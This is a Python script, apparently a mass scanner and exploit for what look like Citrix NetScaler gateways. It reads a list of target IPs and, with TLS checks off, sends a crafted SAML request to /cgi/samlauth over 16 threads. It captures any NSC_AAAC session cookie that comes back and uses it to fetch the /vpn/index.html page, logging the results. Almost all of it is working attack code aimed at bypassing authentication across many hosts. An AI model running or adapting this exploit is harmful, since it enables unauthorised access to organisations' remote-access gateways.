import base64, concurrent.futures, re, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def op():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class N(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), N)


def call(o, ip, path, cookie=None, data=None, timeout=12):
    r = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    r.add_header("User-Agent", UA)
    if data is not None:
        r.add_header("Content-Type", "application/x-www-form-urlencoded")
    if cookie:
        r.add_header("Cookie", cookie)
    try:
        x = o.open(r, timeout=timeout)
        return x.status, x.headers.get("Location") or "", x.read(200000).decode("utf-8", "replace"), (x.headers.get_all("Set-Cookie") or [])
    except urllib.error.HTTPError as e:
        return e.code, e.headers.get("Location") or "", "", (e.headers.get_all("Set-Cookie") or [])
    except Exception:
        return None, "", "", []


def check(ip):
    try:
        o = op()
        body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
        st, loc, _, cks = call(o, ip, "/cgi/samlauth", None, body)
        ck = [c.split(";")[0] for c in cks if c.startswith("NSC_AAAC=") and "xyz" not in c.split(";")[0]]
        if not ck:
            return "%s\tNOMINT\t%d\t%s" % (ip, st or 0, loc[:30])
        cookie = ck[0]
        s1, l1, b1, _ = call(o, ip, "/vpn/index.html", cookie)
        t1 = (re.findall(r"<title[^>]*>(.{0,40}?)</title>", b1, re.S | re.I) or [""])[0].strip()
        s2, l2, b2, _ = call(o, ip, "/vpn/index.html", None)
        hosts = sorted(set(re.findall(r"https?://([A-Za-z0-9._-]{4,50})", b1)))
        return "%s\t%d\t%s\t%d\t%s\t%d\t%s\t%d\t%s" % (
            ip, s1 or 0, l1[:30], len(b1), t1[:30], s2 or 0, (l2 or "")[:25], len(b2), ",".join(hosts[:5])[:80])
    except Exception as e:
        return "%s\tEXC\t%s" % (ip, type(e).__name__)


def main():
    src, out = sys.argv[1], sys.argv[2]
    ips = [l.split("\t")[0].strip() for l in open(src) if l.strip()]
    print("targets", len(ips), flush=True)
    with open(out, "w") as f:
        with concurrent.futures.ThreadPoolExecutor(max_workers=16) as pool:
            for res in pool.map(check, ips):
                f.write(res + "\n")
                f.flush()
    print("finished", flush=True)


main()
